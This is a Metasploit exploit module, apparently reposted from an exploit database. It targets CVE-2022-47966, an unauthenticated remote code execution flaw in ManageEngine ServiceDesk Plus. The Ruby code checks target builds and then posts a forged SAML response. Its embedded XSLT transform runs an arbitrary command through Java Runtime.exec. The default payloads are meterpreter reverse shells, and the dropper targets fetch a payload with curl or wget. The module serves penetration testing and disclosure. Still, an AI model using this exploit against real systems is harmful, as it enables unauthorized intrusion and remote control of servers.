Share
## https://sploitus.com/exploit?id=PACKETSTORM:170882
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ServiceDesk Plus Unauthenticated SAML RCE',  
'Description' => %q{  
This exploits an unauthenticated remote code execution vulnerability  
that affects Zoho ManageEngine ServiceDesk Plus versions 14003 and  
below (CVE-2022-47966). Due to a dependency to an outdated library  
(Apache Santuario version 1.4.1), it is possible to execute arbitrary  
code by providing a crafted `samlResponse` XML to the ServiceDesk Plus  
SAML endpoint. Note that the target is only vulnerable if it has been  
configured with SAML-based SSO at least once in the past, regardless of  
the current SAML-based SSO status.  
},  
'Author' => [  
'Khoa Dinh', # Original research  
'horizon3ai', # PoC  
'Christophe De La Fuente' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-47966'],  
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],  
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],  
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],  
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']  
],  
'Platform' => ['win', 'unix', 'linux'],  
'Payload' => {  
'BadChars' => "\x27"  
},  
'Targets' => [  
[  
'Windows EXE Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => { 'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp' }  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },  
'CmdStagerFlavor' => %w[curl wget echo lwprequest]  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 8080  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => '2023-01-10',  
'Notes' => {  
'Stability' => [CRASH_SAFE,],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),  
OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'])  
)  
return CheckCode::Unknown unless res  
  
# vulnerable servers respond with 400 and a HTML body  
return CheckCode::Safe unless res.code == 400  
  
script = res.get_html_document.xpath('//script[contains(text(), "BUILD_NUMBER")]')  
info = script.text.match(/PRODUCT_NAME\\x22\\x3A\\x22(?<product>.+?)\\x22,.*BUILD_NUMBER\\x22\\x3A\\x22(?<build>[0-9]+?)\\x22,/)  
return CheckCode::Unknown unless info  
unless info[:product] == 'ManageEngine\\x20ServiceDesk\\x20Plus'  
return CheckCode::Safe("This is not ManageEngine ServiceDesk Plus (#{info[:product]})")  
end  
  
# SAML 2.0 support has been added in build 10511  
# see https://www.manageengine.com/products/service-desk/on-premises/readme.html#readme105  
build = Rex::Version.new(info[:build])  
unless build >= Rex::Version.new('10511') && build <= Rex::Version.new('14003')  
return CheckCode::Safe("Target build is #{info[:build]}")  
end  
  
CheckCode::Appears  
end  
  
def encode_begin(real_payload, reqs)  
super  
  
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|  
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw  
end  
end  
  
def exploit  
case target['Type']  
when :windows_command, :unix_cmd  
execute_command(payload.encoded)  
when :windows_dropper, :linux_dropper  
execute_cmdstager(delay: datastore['DELAY'])  
end  
end  
  
def execute_command(cmd, _opts = {})  
case target['Type']  
when :windows_dropper  
cmd = "cmd /c #{cmd}"  
when :unix_cmd, :linux_dropper  
cmd = cmd.gsub(' ') { '${IFS}' }  
cmd = "bash -c #{cmd}"  
end  
cmd = cmd.encode(xml: :attr).gsub('"', '')  
  
assertion_id = "_#{SecureRandom.uuid}"  
# Randomize variable names and make sure they are all different using a Set  
vars = Set.new  
loop do  
vars << Rex::Text.rand_text_alpha_lower(5..8)  
break unless vars.size < 3  
end  
vars = vars.to_a  
saml = <<~EOS  
<?xml version="1.0" encoding="UTF-8"?>  
<samlp:Response  
ID="_#{SecureRandom.uuid}"  
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">  
<samlp:Status>  
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>  
</samlp:Status>  
<Assertion ID="#{assertion_id}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">  
<Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>  
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">  
<ds:SignedInfo>  
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>  
<ds:Reference URI="##{assertion_id}">  
<ds:Transforms>  
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">  
<xsl:stylesheet version="1.0"  
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"  
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="/">  
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>  
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>  
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>  
<xsl:value-of select="$#{vars[2]}"/>  
</xsl:template>  
</xsl:stylesheet>  
</ds:Transform>  
</ds:Transforms>  
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>  
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>  
</ds:Reference>  
</ds:SignedInfo>  
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>  
<ds:KeyInfo/>  
</ds:Signature>  
</Assertion>  
</samlp:Response>  
EOS  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI']),  
'vars_post' => {  
'SAMLResponse' => Rex::Text.encode_base64(saml)  
}  
})  
  
unless res&.code == 500  
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)  
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }  
elog("Unkown error returned:\n#{lines.join("\n")}")  
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")  
end  
fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')  
end  
  
res  
end  
  
end